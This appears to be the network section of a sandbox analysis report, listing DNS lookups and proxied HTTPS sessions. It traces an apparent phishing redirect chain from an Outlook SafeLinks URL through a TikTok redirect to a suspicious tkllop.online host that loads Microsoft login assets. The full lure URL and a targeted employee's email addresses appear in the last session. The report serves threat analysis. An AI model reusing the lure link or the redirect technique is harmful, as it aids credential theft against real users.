Oct 7, 2024 20:58:42.029695034 CEST	1.1.1.1	192.168.2.16	0x35fc	No error (0)	www.google.com		142.250.186.164	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:58:42.030122042 CEST	1.1.1.1	192.168.2.16	0x7	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 7, 2024 20:58:42.588654995 CEST	1.1.1.1	192.168.2.16	0x63c0	No error (0)	www.tiktok.com	www.tiktok.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 20:58:42.588692904 CEST	1.1.1.1	192.168.2.16	0x1c70	No error (0)	www.tiktok.com	www.tiktok.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 20:58:43.705391884 CEST	1.1.1.1	192.168.2.16	0x82d1	No error (0)	www.google.ca			65	IN (0x0001)	false
Oct 7, 2024 20:58:43.705421925 CEST	1.1.1.1	192.168.2.16	0x6dce	No error (0)	www.google.ca		142.250.186.131	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:58:45.696418047 CEST	1.1.1.1	192.168.2.16	0xafe2	No error (0)	fidgetvfx.nz		203.28.49.249	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:58:50.499577045 CEST	1.1.1.1	192.168.2.16	0x1d56	No error (0)	fidgetvfx.nz		203.28.49.249	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:58:50.508138895 CEST	1.1.1.1	192.168.2.16	0xeaa7	No error (0)	pub-80685e4418f74026adc8912a5ab063db.r2.dev		172.66.0.235	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:58:50.508138895 CEST	1.1.1.1	192.168.2.16	0xeaa7	No error (0)	pub-80685e4418f74026adc8912a5ab063db.r2.dev		162.159.140.237	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:02.884890079 CEST	1.1.1.1	192.168.2.16	0xca75	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:02.884890079 CEST	1.1.1.1	192.168.2.16	0xca75	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:02.884912014 CEST	1.1.1.1	192.168.2.16	0xd3db	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 7, 2024 20:59:02.885991096 CEST	1.1.1.1	192.168.2.16	0x12d3	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:02.885991096 CEST	1.1.1.1	192.168.2.16	0x12d3	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:02.885991096 CEST	1.1.1.1	192.168.2.16	0x12d3	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:02.885991096 CEST	1.1.1.1	192.168.2.16	0x12d3	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:03.649447918 CEST	1.1.1.1	192.168.2.16	0x297e	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 7, 2024 20:59:03.649840117 CEST	1.1.1.1	192.168.2.16	0xa271	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:03.649840117 CEST	1.1.1.1	192.168.2.16	0xa271	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:03.779066086 CEST	1.1.1.1	192.168.2.16	0xc01f	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:03.779066086 CEST	1.1.1.1	192.168.2.16	0xc01f	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:03.779066086 CEST	1.1.1.1	192.168.2.16	0xc01f	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:03.779066086 CEST	1.1.1.1	192.168.2.16	0xc01f	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:03.907327890 CEST	1.1.1.1	192.168.2.16	0xd7a	No error (0)	freeipapi.com			65	IN (0x0001)	false
Oct 7, 2024 20:59:03.908185005 CEST	1.1.1.1	192.168.2.16	0x8be7	No error (0)	freeipapi.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:03.908185005 CEST	1.1.1.1	192.168.2.16	0x8be7	No error (0)	freeipapi.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:05.059539080 CEST	1.1.1.1	192.168.2.16	0x3bcf	No error (0)	freeipapi.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:05.059539080 CEST	1.1.1.1	192.168.2.16	0x3bcf	No error (0)	freeipapi.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:05.060913086 CEST	1.1.1.1	192.168.2.16	0xd5fe	No error (0)	freeipapi.com			65	IN (0x0001)	false
Oct 7, 2024 20:59:05.069811106 CEST	1.1.1.1	192.168.2.16	0xa0c4	No error (0)	w2yf5cltgv.tkllop.online			65	IN (0x0001)	false
Oct 7, 2024 20:59:05.077858925 CEST	1.1.1.1	192.168.2.16	0xbad4	No error (0)	w2yf5cltgv.tkllop.online		104.21.57.143	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:05.077858925 CEST	1.1.1.1	192.168.2.16	0xbad4	No error (0)	w2yf5cltgv.tkllop.online		172.67.164.87	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:08.114955902 CEST	1.1.1.1	192.168.2.16	0x85ef	No error (0)	w2yf5cltgv.tkllop.online		104.21.57.143	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:08.114955902 CEST	1.1.1.1	192.168.2.16	0x85ef	No error (0)	w2yf5cltgv.tkllop.online		172.67.164.87	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:08.121604919 CEST	1.1.1.1	192.168.2.16	0x5f27	No error (0)	w2yf5cltgv.tkllop.online			65	IN (0x0001)	false
Oct 7, 2024 20:59:08.157428980 CEST	1.1.1.1	192.168.2.16	0xc09a	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 20:59:08.157428980 CEST	1.1.1.1	192.168.2.16	0xc09a	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 20:59:08.157428980 CEST	1.1.1.1	192.168.2.16	0xc09a	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:08.158051968 CEST	1.1.1.1	192.168.2.16	0xf799	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 20:59:08.158051968 CEST	1.1.1.1	192.168.2.16	0xf799	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 20:59:08.964370966 CEST	1.1.1.1	192.168.2.16	0xd583	No error (0)	google.com			65	IN (0x0001)	false
Oct 7, 2024 20:59:08.964801073 CEST	1.1.1.1	192.168.2.16	0x4e16	No error (0)	google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:09.247188091 CEST	1.1.1.1	192.168.2.16	0xea3a	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 20:59:09.247188091 CEST	1.1.1.1	192.168.2.16	0xea3a	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 20:59:09.247188091 CEST	1.1.1.1	192.168.2.16	0xea3a	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:09.249077082 CEST	1.1.1.1	192.168.2.16	0x973c	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 20:59:09.249077082 CEST	1.1.1.1	192.168.2.16	0x973c	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 20:59:09.891908884 CEST	1.1.1.1	192.168.2.16	0x7270	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 7, 2024 20:59:09.892134905 CEST	1.1.1.1	192.168.2.16	0xc905	No error (0)	www.google.com		142.250.186.36	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:09.949429989 CEST	1.1.1.1	192.168.2.16	0x1202	No error (0)	aadcdn.msauthimages.net	aadcdn.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 20:59:09.949429989 CEST	1.1.1.1	192.168.2.16	0x1202	No error (0)	scdn3514c.wpc.9e730.upsiloncdn.net	sni1gl.wpc.upsiloncdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 20:59:09.949429989 CEST	1.1.1.1	192.168.2.16	0x1202	No error (0)	sni1gl.wpc.upsiloncdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:09.950304031 CEST	1.1.1.1	192.168.2.16	0xdc7b	No error (0)	aadcdn.msauthimages.net	aadcdn.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 20:59:09.950304031 CEST	1.1.1.1	192.168.2.16	0xdc7b	No error (0)	scdn3514c.wpc.9e730.upsiloncdn.net	sni1gl.wpc.upsiloncdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 20:59:11.620074987 CEST	1.1.1.1	192.168.2.16	0xa9c4	No error (0)	aadcdn.msauthimages.net	aadcdn.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 20:59:11.620074987 CEST	1.1.1.1	192.168.2.16	0xa9c4	No error (0)	scdn3514c.wpc.9e730.upsiloncdn.net	sni1gl.wpc.upsiloncdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 20:59:11.620215893 CEST	1.1.1.1	192.168.2.16	0xf56d	No error (0)	aadcdn.msauthimages.net	aadcdn.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 20:59:11.620215893 CEST	1.1.1.1	192.168.2.16	0xf56d	No error (0)	scdn3514c.wpc.9e730.upsiloncdn.net	sni1gl.wpc.upsiloncdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 20:59:11.620215893 CEST	1.1.1.1	192.168.2.16	0xf56d	No error (0)	sni1gl.wpc.upsiloncdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:00:05.077122927 CEST	1.1.1.1	192.168.2.16	0x8360	No error (0)	nam04.safelinks.protection.outlook.com	nam04.safelinks.eop-tm2.outlook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 21:00:05.080673933 CEST	1.1.1.1	192.168.2.16	0xad4b	No error (0)	nam04.safelinks.protection.outlook.com	nam04.safelinks.eop-tm2.outlook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 21:00:05.080673933 CEST	1.1.1.1	192.168.2.16	0xad4b	No error (0)	nam04.safelinks.eop-tm2.outlook.com		104.47.73.156	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:00:05.080673933 CEST	1.1.1.1	192.168.2.16	0xad4b	No error (0)	nam04.safelinks.eop-tm2.outlook.com		104.47.74.28	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:00:05.080673933 CEST	1.1.1.1	192.168.2.16	0xad4b	No error (0)	nam04.safelinks.eop-tm2.outlook.com		104.47.73.28	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:00:06.982302904 CEST	1.1.1.1	192.168.2.16	0xee7e	No error (0)	url.avanan.click	d3bl0rsvnw97mw.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 21:00:06.994019032 CEST	1.1.1.1	192.168.2.16	0x921e	No error (0)	url.avanan.click	d3bl0rsvnw97mw.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 21:00:06.994019032 CEST	1.1.1.1	192.168.2.16	0x921e	No error (0)	d3bl0rsvnw97mw.cloudfront.net		108.138.7.53	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:00:06.994019032 CEST	1.1.1.1	192.168.2.16	0x921e	No error (0)	d3bl0rsvnw97mw.cloudfront.net		108.138.7.80	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:00:06.994019032 CEST	1.1.1.1	192.168.2.16	0x921e	No error (0)	d3bl0rsvnw97mw.cloudfront.net		108.138.7.20	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:00:06.994019032 CEST	1.1.1.1	192.168.2.16	0x921e	No error (0)	d3bl0rsvnw97mw.cloudfront.net		108.138.7.116	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:00:08.367264986 CEST	1.1.1.1	192.168.2.16	0x2886	No error (0)	www.tiktok.com	www.tiktok.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 21:00:08.367281914 CEST	1.1.1.1	192.168.2.16	0x7585	No error (0)	www.tiktok.com	www.tiktok.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 21:00:09.364239931 CEST	1.1.1.1	192.168.2.16	0x86fe	No error (0)	www.google.ca		142.250.184.227	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:00:09.365854979 CEST	1.1.1.1	192.168.2.16	0x11dd	No error (0)	www.google.ca			65	IN (0x0001)	false
Oct 7, 2024 21:00:10.500909090 CEST	1.1.1.1	192.168.2.16	0x2b91	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:00:10.500941038 CEST	1.1.1.1	192.168.2.16	0xceec	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 7, 2024 21:00:12.081111908 CEST	1.1.1.1	192.168.2.16	0xa0af	No error (0)	fidgetvfx.nz		203.28.49.249	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:00:15.308382988 CEST	1.1.1.1	192.168.2.16	0xb4b7	No error (0)	fidgetvfx.nz		203.28.49.249	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:00:15.527960062 CEST	1.1.1.1	192.168.2.16	0x1219	No error (0)	pub-80685e4418f74026adc8912a5ab063db.r2.dev		172.66.0.235	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:00:15.527960062 CEST	1.1.1.1	192.168.2.16	0x1219	No error (0)	pub-80685e4418f74026adc8912a5ab063db.r2.dev		162.159.140.237	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

fs.microsoft.com

slscr.update.microsoft.com

nam04.safelinks.protection.outlook.com

url.avanan.click

www.google.ca

fidgetvfx.nz

https:

pub-80685e4418f74026adc8912a5ab063db.r2.dev

code.jquery.com

cdnjs.cloudflare.com

freeipapi.com

w2yf5cltgv.tkllop.online

aadcdn.msftauth.net

aadcdn.msauthimages.net

google.com

www.google.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49708	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:58:13 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-07 18:58:14 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=164872 Date: Mon, 07 Oct 2024 18:58:13 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49709	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:58:14 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-07 18:58:14 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=164914 Date: Mon, 07 Oct 2024 18:58:14 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-07 18:58:14 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49711	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:58:16 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=N2s2zh+xoLSoBYy&MD=WN3brtBL HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-07 18:58:16 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: b0693354-c2dc-4166-a8e2-ab6ef4033e20 MS-RequestId: b3b2a2c8-af44-4514-a1d6-1b416e7eac58 MS-CV: 8y/ARI7kXUuKsCbz.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 07 Oct 2024 18:58:15 GMT Connection: close Content-Length: 24490
2024-10-07 18:58:16 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-07 18:58:16 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.16	49712	20.190.159.23	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:58:16 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4762 Host: login.live.com
2024-10-07 18:58:16 UTC	4762	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-07 18:58:16 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 07 Oct 2024 18:57:16 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_SN1 x-ms-request-id: e981f4bf-d935-46af-9ab5-b537af8d5d1e PPServer: PPV: 30 H: SN1PEPF0002F950 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 07 Oct 2024 18:58:16 GMT Connection: close Content-Length: 10197
2024-10-07 18:58:16 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49717	104.47.74.28	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:58:37 UTC	1416	OUT	GET /?url=https%3A%2F%2Furl.avanan.click%2Fv2%2Fr01%2F___https%3A%2F%2Fwww.tiktok.com%2FqnspdA7%3Ffni%3D6cbb%26qfsl%3Djs%26xhjsj%3Dgnt_zwq%26yfwljy%3Dmyyux%3AddBBB.lttlqj.hfdzwq%3Fv%3DfrudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA%23ZHN5aHJlQG9sZ29vbmlrLmNvbQ%3D%3D&data=05%7C02%7Cjperez%40olgoonik.com%7Cc9269c5239e84553ed1a08dce70166e8%7C341c5aad39be47a3901e146d297ecd80%7C0%7C0%7C638639240423326200%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C0%7C%7C%7C&sdata=svbAeKmNNDcGVia9VKR8vQQD58dfOWPYl9pqz2YfAw0%3D&reserved=0 HTTP/1.1 Host: nam04.safelinks.protection.outlook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
